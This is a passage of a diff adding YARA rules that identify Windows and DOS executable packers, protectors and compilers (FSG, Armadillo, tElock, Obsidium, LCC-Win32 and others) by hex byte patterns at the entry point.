+		$0 = {FF 25 A4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_120_Eng__dulekxt__MASM32__TASM32_
+{
+	meta:
+		description = "FSG 1.20 (Eng) -> dulek/xt -> (MASM32 / TASM32)"
+	strings:
+		$0 = {33 C2 2C FB 8D 3D 7E 45 B4 80 E8 02 00 00 00 8A 45 58 68 02 ?? 8C 7F EB 02 CD 20 5E 80 C9 16 03 F7 EB 02 40 B0 68 F4 00 00 00 80 F1 2C 5B C1 E9 05 0F B6 C9 8A 16 0F B6 C9 0F BF C7 2A D3 E8 02 00 00 00 99 4C 58 80 EA 53 C1 C9 16 2A D3 E8 02 00 00 00 9D CE}
+	condition:
+		$0 at entrypoint
+}
+rule _Special_EXE_Pasword_Protector_V101_Eng__Pavol_Cerven_
+{
+	meta:
+		description = "Special EXE Pasword Protector V1.01 (Eng) -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E}
+	condition:
+		$0 at entrypoint
+}
+rule _LARP_V2X__lena151___20080914_
+{
+	meta:
+		description = "LARP V2.X -> lena151  * 20080914"
+	strings:
+		$0 = {E4 74 04 FF 64 24 FC 81 E8 ?? ?? ?? ?? 81 E8 ?? ?? ?? ?? 84 E8 06 00 00 00 81 84 74 00 81 84 0B E4 74 ?? ?? ?? ?? ?? ?? ?? ?? E4 74 02 FF E0 81 E8 ?? 00 00 00 68 ?? ?? ?? ?? E8 ?? 00 00 00 75 BA F8 72 02 73 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? 00 00 00 81 84 ?? ?? ?? ?? ?? ?? ?? ?? ?? 81 84 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 81 84 ?? ?? ?? ?? ?? ?? ?? ?? ?? 74 08 8D 95 ?? ?? ?? ?? FF E2 ?? ?? ?? ?? ?? ?? ?? E8 ?? 00 00 00 81 8D ?? ?? ?? ?? ?? ?? ?? ?? 84 C1 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 81 C1 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 57 F8 72 08 E8 ?? 00 00 00 81 84 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 81 84 ?? ?? ?? ?? ?? ?? ?? ?? ?? 81 84 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E0 81 ?? ?? ?? ?? C3 E8 ?? 00 00 00 81 2D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 81 84}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Delphi__Microsoft_Visual_Cpp_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)"
+	strings:
+		$0 = {1E 0E 1F B8 ?? ?? 8E C0 26 8A 1E ?? ?? 80 ?? ?? 72}
+		$1 = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 00 00 EB 02 CD 20 5E 0F B6 D0 80 CA 5C 8B 38 EB 01 35 EB 02 DC 97 81 EF F7 65 17 43 E8 02 00 00 00 97 CB 5B 81 C7 B2 8B A1 0C 8B D1 83 EF 17 EB 02 0C 65 83 EF 43 13}
+		$2 = {C1 C8 10 EB 01 0F BF 03 74 66 77 C1 E9 1D 68 83 ?? ?? 77 EB 02 CD 20 5E EB 02 CD 20 2B F7}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _MESS_v120_
+{
+	meta:
+		description = "MESS v1.20"
+	strings:
+		$0 = {FA B9 ?? ?? F3 ?? ?? E3 ?? EB ?? EB ?? B6}
+	condition:
+		$0 at entrypoint
+}
+rule _PCShrink_071_beta_
+{
+	meta:
+		description = "PCShrink 0.71 beta"
+	strings:
+		$0 = {01 AD 54 3A 40 00 FF B5 50 3A 40 00 6A 40 FF 95 88 3A 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _TaiShanXiangYu_LockSoft_V10__zlocksoft__SignByfly_
+{
+	meta:
+		description = "TaiShanXiangYu LockSoft V1.0 -> zlocksoft * Sign.By.fly"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED E3 00 42 00 8B D5 81 C2 32 01 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? 8B D5 81 ?? ?? ?? ?? ?? 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 ?? ?? ?? E9 ?? ?? ?? ?? 33 C0 64 FF 30 64 89 20 43 CC C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Crunch_5_Fusion_4_
+{
+	meta:
+		description = "Crunch 5 Fusion 4"
+	strings:
+		$0 = {EB 15 03 ?? ?? ?? 06 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 55 E8}
+		$1 = {EB 15 03 ?? ?? ?? 06 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 55 E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Alex_Protector_v04_beta_1_by_Alex_
+{
+	meta:
+		description = "Alex Protector v0.4 beta 1 by Alex"
+	strings:
+		$0 = {60 E8 01 00 00 00 C7 83 C4 04 33 C9 E8 01 00 00 00 68 83 C4 04 E8 01 00 00 00 68 83 C4 04 B9 ?? 00 00 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 01 00 00 00 C7 83 C4 04 8B 2C 24 83 C4 04 E8 01 00 00 00 A9 83 C4 04 81 ED 3C 13 40 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 00 00 00 00 49 E8 01 00 00 00 68 83 C4 04 85 C9 75 DF E8 B9 02 00 00 E8 01 00 00 00 C7 83 C4 04 8D 95 63 14 40 00 E8 01 00 00 00 C7 83 C4 04 90 90 90 E8 CA 01 00 00 01 02 03 04 05 68 90 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00}
+		$1 = {60 E8 01 00 00 00 C7 83 C4 04 33 C9 E8 01 00 00 00 68 83 C4 04 E8 01 00 00 00 68 83 C4 04 B9 ?? 00 00 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 01 00 00 00 C7 83 C4 04 8B 2C 24 83 C4 04 E8 01 00 00 00 A9 83 C4 04 81 ED 3C 13 40 00 E8 01 00 00 00 68}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _CodeSafe_20_
+{
+	meta:
+		description = "CodeSafe 2.0"
+	strings:
+		$0 = {83 3D 14 00 00 01 00 0F 84 08 00 00 00 A1 14 00 00 01 FF E0 C3 55 8B EC 83 EC 10 53 56 57 E8 C4 01 00 00 A1 98 00 00 01 2B 05 94 00 00 01 89 45 F4 A1 D4 00 00 01 03 05 C8 00 00 01 89 45 F8 A1 98 00 00 01 39 45 F8 0F 85 22 00 00 00 A1 A4 00}
+	condition:
+		$0 at entrypoint
+}
+rule _GameGuard_v20065xx_dll_
+{
+	meta:
+		description = "GameGuard v2006.5.x.x (*.dll)"
+	strings:
+		$0 = {31 FF 74 06 61 E9 4A 4D 50 30 BA 4C 00 00 00 80 7C 24 08 01 0F 85 ?? 01 00 00 60 BE 00}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_V145x__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor V1.4.5.x -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 83 EC ?? 53 56 57 83 65 ?? 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 ?? ?? ?? 00 A1 ?? ?? ?? 00 B9 ?? ?? ?? 00 2B 48 18 89 0D ?? ?? ?? 00 83 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_V22008618__WFS_
+{
+	meta:
+		description = "EncryptPE V2.2008.6.18 -> WFS"
+	strings:
+		$0 = {68 ?? ?? ?? 00 E8 52 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 47 65 74 54 65 6D 70 50 61 74 68 41 00 43 72 65 61 74 65}
+	condition:
+		$0 at entrypoint
+}
+rule _ACProtect_109__Risco_Software_
+{
+	meta:
+		description = "ACProtect 1.09 -> Risco Software"
+	strings:
+		$0 = {60 E8 01 00 00 00 E8 83 C4 04 85 DF E8 01 00 00 00 76 83 04 24 06 C3 0F 81 02 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _dUP_v2x_Patcher__wwwdiablo2oo2cjbnet_
+{
+	meta:
+		description = "dUP v2.x Patcher --> www.diablo2oo2.cjb.net"
+	strings:
+		$0 = {54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_FullEdition_V120_BasicEdition_Stub__ap0x_
+{
+	meta:
+		description = "RLPack FullEdition V1.20 (BasicEdition Stub) -> ap0x"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 4C 6F 61 64 4C 69}
+		$1 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 10 00 00 08 00 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Watcom_C_1995_
+{
+	meta:
+		description = "Watcom C (1995)"
+	strings:
+		$0 = {FB B9 00 00 8E C1 26 BB 00 00 83 C3 0F 80 E3 F0 26 89 1E 00 00 26 8C 1E 00 00 01 E3 83 C3 0F 80 E3 F0 8E D1 89 DC 26 89 1E 00 00 89 DA D1 EA D1 EA D1 EA D1 EA 26 80 3E 00 00 00 75 3D 8B 0E 02 00 8C C0 29 C1 39 CA 72 0B BB 01 00 B8 00 00 8C}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_10xx__BitArts_
+{
+	meta:
+		description = "Crunch/PE 1.0.x.x -> BitArts"
+	strings:
+		$0 = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 09 C6 85}
+	condition:
+		$0 at entrypoint
+}
+rule _mkfpack_APlib___llydd___20080131_
+{
+	meta:
+		description = "mkfpack (APlib) ->  llydd  * 20080131"
+	strings:
+		$0 = {E8 00 00 00 00 5B 81 EB 05 00 00 00 8B 93 9F 08 00 00 53 6A ?? 68 ?? ?? ?? ?? 52 6A 00 FF 93 32 08 00 00 5B 8B F0 8B BB 9B 08 00 00 03 FB 56 57 E8 86 08 00 00 83 C4 08 8D 93 BB 08 00 00 52 53 FF E6}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressorProtection_150X__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor.Protection 1.5.0.X -> CGSoftLabs"
+	strings:
+		$0 = {EB 01 68 EB 01 ?? ?? ?? ?? 83 EC 0C 53 56 57 EB 01 ?? 83 3D ?? ?? ?? ?? 00 74 08 EB 01 E9 E9 56 01 00 00 EB 02 E8 E9 C7 05 ?? ?? ?? ?? 01 00 00 00 EB 01 C2 E8 E2 05 00 00 EB 02 DA 9F 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D0 59 59 EB 01 C8 EB 02 66 F0 68 ?? ?? ?? ?? E8 0E 05 00 00 59 EB 01 DD 83 65 F4 00 EB 07 8B 45 F4 40 89 45 F4 83 7D F4 61 73 1F EB 02 DA 1A 8B 45 F4 0F ?? ?? ?? ?? ?? ?? 33 45 F4 8B 4D F4 88 ?? ?? ?? ?? ?? EB 01 EB EB}
+		$1 = {EB 01 68 EB 01 ?? ?? ?? ?? 83 EC 0C 53 56 57 EB 01 ?? 83 3D ?? ?? ?? ?? 00 74 08 EB 01 E9 E9 56 01 00 00 EB 02 E8 E9 C7 05 ?? ?? ?? ?? 01 00 00 00 EB 01 C2 E8 E2 05 00 00 EB 02 DA 9F 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D0 59 59 EB 01 C8 EB 02 66 F0 68 ?? ?? ?? ?? E8 0E 05 00 00 59 EB 01 DD 83 65 F4 00 EB 07 8B 45 F4 40 89 45 F4 83 7D F4 61 73 1F EB 02 DA 1A 8B 45 F4 0F ?? ?? ?? ?? ?? ?? 33 45 F4 8B 4D F4 88 ?? ?? ?? ?? ?? EB 01 EB EB}
+		$2 = {EB 01 68 EB 01 ?? ?? ?? ?? 83 EC 0C 53 56 57 EB 01 ?? 83 3D ?? ?? ?? ?? 00 74 08 EB 01 E9 E9 56 01 00 00 EB 02 E8 E9 C7 05 ?? ?? ?? ?? 01 00 00 00 EB 01 C2 E8 E2 05 00 00 EB 02 DA 9F 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D0 59 59 EB 01 C8 EB 02}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _DBPE_v233__Ding_Boy_
+{
+	meta:
+		description = "DBPE v2.33 -> Ding Boy"
+	strings:
+		$0 = {EB 20 ?? ?? 40 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9C 55 57 56 52 51 53 9C E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 9C 6A 10 73 0B EB 02 C1 51 E8 06 ?? ?? ?? C4 11 73 F7 5B CD 83 C4 04 EB 02 99 EB FF 0C 24 71}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v0977__Jeremy_Collake_
+{
+	meta:
+		description = "PECompact v0.977 -> Jeremy Collake"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB A0 86 40 ?? 87 DD 8B 85 2A 87}
+	condition:
+		$0 at entrypoint
+}
+rule _Lccwin_32_13_
+{
+	meta:
+		description = "Lcc-win 32 1.3"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 89 E5 6A FF 68 00 00 00 00 68 9A 10 40 00 50 64 89 25 00 00 00 00 83 EC 10 53 56 57 89 65 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v19x_
+{
+	meta:
+		description = "Armadillo v1.9x"
+	strings:
+		$0 = {55 8B EC 6A FF 68 98 ?? ?? ?? 68 10 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15}
+		$1 = {55 8B EC 6A FF 68 98 ?? ?? ?? 68 10 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Alex_Protector_10_beta_2_by_Alex_
+{
+	meta:
+		description = "Alex Protector 1.0 beta 2 by Alex"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B 44 24 0C EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 83 80 B8 00 00 00 02 33 C0 EB 01 E9 C3 58 83 C4 04 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 50 64 FF 35 00 00 00 00 64 89 25}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B 44 24 0C EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 83 80 B8 00 00 00 02 33 C0 EB 01 E9 C3 58 83 C4 04 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 EB 01 E9 FF FF 60 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 0F 31 8B D8 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 8B CA EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 0F 31 2B C3 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 1B D1 0F 31 03 C3 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 13 D1 0F 31 2B C3 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 EB 05 68 F0 0F C7 C8 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 1B D1 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 85}
+		$2 = {60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B 44 24 0C EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 83 80 B8 00 00 00 02 33 C0 EB 01 E9 C3 58 83 C4 04 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 50 64 FF 35 00 00 00 00 64 89 25}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _LCC_Win32_v1x_
+{
+	meta:
+		description = "LCC Win32 v1.x"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 ?? ?? 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 ?? ?? ?? ?? ?? 00 00 83 EC 10}
+		$1 = {64 A1 ?? ?? ?? ?? 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 ?? 50}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _eXPressorLightV1601__CGSoftLabs__20080308_
+{
+	meta:
+		description = "eXPressor.Light.V1.6.0.1 -> CGSoftLabs * 20080308"
+	strings:
+		$0 = {55 8B EC 81 EC 68 02 00 00 53 56 57 83 A5 D0 FD FF FF 00 F3 EB 0C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 78 60 00 75 14 6A 10 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? E8 9C FF FF FF A3 ?? ?? ?? ?? 68 04 01 00 00 8D 85 F0 FD FF FF 50 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 84 05 EF FD FF FF 89 85 DC FD FF FF 8B 85 DC FD FF FF 0F BE 00 83 F8 5C 74 0F 8B 85 DC FD FF FF 48 89 85 DC FD FF FF EB E3 8B 85 DC FD FF FF 40 89 85 DC FD FF FF 8B 85 DC FD FF FF 8D 8D F0 FD FF FF 2B C1 89 85 B4 FD FF FF 8B 8D B4 FD FF FF 8D B5 F0 FD FF FF 8D BD FC FE FF FF 8B C1 C1 E9 02 F3 A5 8B C8 83 E1 03 F3 A4 8B 85 B4 FD FF FF 80 A4 05 FD FE FF FF 00 83 A5 E0 FD FF FF 00 A1 ?? ?? ?? ?? 8B 40 04 25 ?? ?? ?? ?? 85 C0 75 11 A1 ?? ?? ?? ?? 8B 40 04 25 00 00 00 02 85 C0 74 2A E8 5B 06 00 00 89 85 E0 FD FF FF A1 ?? ?? ?? ?? 8B 40 04 25 ?? ?? ?? ?? 85 C0 74 0E 83 BD E0 FD FF FF 00 74 05 E9 34 06 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Rec_Small_101_
+{
+	meta:
+		description = "Rec Small 1.01"
+	strings:
+		$0 = {8C D8 1E E8 00 00 5D 83 C0 0F 81 ED BA 03 B9 00 00 40 8E D8 2B DB B2 00 00 17 FE C2 43 83 FB 10 75 F6 E2 ED 1F 8C C0 03 C3 2E 01 86 F5 03 2E 03 86 F9 03 FA 2E 8B A6 F7 03 8E D0 FB EB 00 EA 00 00 00 00 7E 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Pksmart_10b_
+{
+	meta:
+		description = "Pksmart 1.0b"
+	strings:
+		$0 = {BA ?? ?? 8C C8 8B C8 03 C2 81 ?? ?? ?? 51 B9 ?? ?? 51 1E 8C D3}
+		$1 = {BA ?? ?? 8C C8 8B C8 03 C2 81 ?? ?? ?? 51 B9 ?? ?? 51 1E 8C D3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PROPACK_v208_emphasis_on_packed_size_locked_
+{
+	meta:
+		description = "PRO-PACK v2.08, emphasis on packed size, locked"
+	strings:
+		$0 = {83 EC ?? 8B EC BE ?? ?? FC E8 ?? ?? 05 ?? ?? 8B C8 E8 ?? ?? 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_32Lite_003_
+{
+	meta:
+		description = "PseudoSigner 0.1 [32Lite 0.03"
+	strings:
+		$0 = {60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68 ?? ?? ?? ?? E9}
+		$1 = {60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Packanoid__Arkanoid_
+{
+	meta:
+		description = "Packanoid -> Arkanoid"
+	strings:
+		$0 = {BF 00 10 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8}
+		$1 = {BF 00 10 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _aPack_058__074_2_EXE_
+{
+	meta:
+		description = "aPack 0.58 - 0.74 (2) [EXE]"
+	strings:
+		$0 = {1E 06 8C C8 8E D8 05 00 00 8E C0 BE 00 00 33 FF FC B6 01 BD}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_PEX_099_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PEX 0.99"
+	strings:
+		$0 = {60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v16__Vaska_
+{
+	meta:
+		description = "RCryptor v1.6 -> Vaska"
+	strings:
+		$0 = {33 D0 68 ?? ?? ?? ?? FF D2 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+		$1 = {33 D0 68 ?? ?? ?? ?? FF D2}
+		$2 = {33 D0 68 ?? ?? ?? ?? FF D2 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _tElock_051__tE_
+{
+	meta:
+		description = "tElock 0.51 -> tE!"
+	strings:
+		$0 = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 5E 8B FE 68 79 01 00 00 59 EB 01 EB AC 54 E8 03 00 00 00 5C EB 08 8D 64 24 04 FF 64 24 FC 6A 05 D0 2C 24 72 01 E8 01 24 24 5C F7 DC EB 02 CD 20 8D 64 24 FE F7 DC EB 02 CD 20 FE C8 E8 00 00}
+		$1 = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 5E 8B FE 68 79 01 00 00 59 EB 01 EB AC 54 E8 03 00 00 00 5C EB 08 8D 64 24 04 FF 64 24 FC 6A 05 D0 2C 24 72 01 E8 01 24 24 5C F7 DC EB 02 CD 20 8D 64 24 FE F7 DC EB 02 CD 20 FE C8 E8 00 00 00 00 32 C1 EB 02 82 0D AA EB 03 82 0D 58 EB 02 1D 7A 49 EB 05 E8 01 00 00 00 7F AE 14 7E A0 77 76 75 74}
+		$2 = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 5E 8B FE 68 79 01 00 00 59 EB 01 EB AC 54 E8 03 00 00 00 5C EB 08 8D 64 24 04 FF 64 24 FC 6A 05 D0 2C 24 72 01 E8 01 24 24 5C F7 DC EB 02 CD 20 8D 64 24 FE F7 DC EB 02 CD 20 FE C8 E8 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _PEZip_10_by_BaGIE_
+{
+	meta:
+		description = "PEZip 1.0 by BaGIE"
+	strings:
+		$0 = {D9 D0 F8 74 02 23 DB F5 F5 50 51 52 53 8D 44 24 10 50 55 56 57 D9 D0 22 C9 C1 F7 A0 55 66 C1 C8 B0 5D 81 E6 FF FF FF FF F8 77 07 52 76 03 72 01 90 5A C1 E0 60 90 BD 1F 01 00 00 87 E8 E2 07 E3 05 17 5D 47 E4 42 41 7F 06 50 66 83 EE 00 58 25 FF FF FF FF 51}
+	condition:
+		$0 at entrypoint
+}
+rule _DIET_v144_v145f_
+{
+	meta:
+		description = "DIET v1.44, v1.45f"
+	strings:
+		$0 = {F9 9C EB}
+		$1 = {F8 9C 06 1E 57 56 52 51 53 50 0E FC 8C C8 BA ?? ?? 03 D0 52}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Thinstall_Embedded_V2620V2623__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded V2.620-V2.623 -> Jitit"
+	strings:
+		$0 = {E8 00 00 00 00 58 BB AC 1E 00 00 2B C3 50 68 ?? ?? ?? ?? 68 B0 21 00 00 68 C4 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1400Beta__Obsidium_Software____20080102_
+{
+	meta:
+		description = "Obsidium V1.4.0.0.Beta -> Obsidium Software   * 20080102"
+	strings:
+		$0 = {EB 01 ?? E8 2F 00 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 21 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 01 ?? C3 EB 01 ?? E9 ?? ?? ?? ?? EB 01 ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v210b2_
+{
+	meta:
+		description = "Armadillo v2.10b2"
+	strings:
+		$0 = {55 8B EC 6A FF 68 18 12 41 00 68 24 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
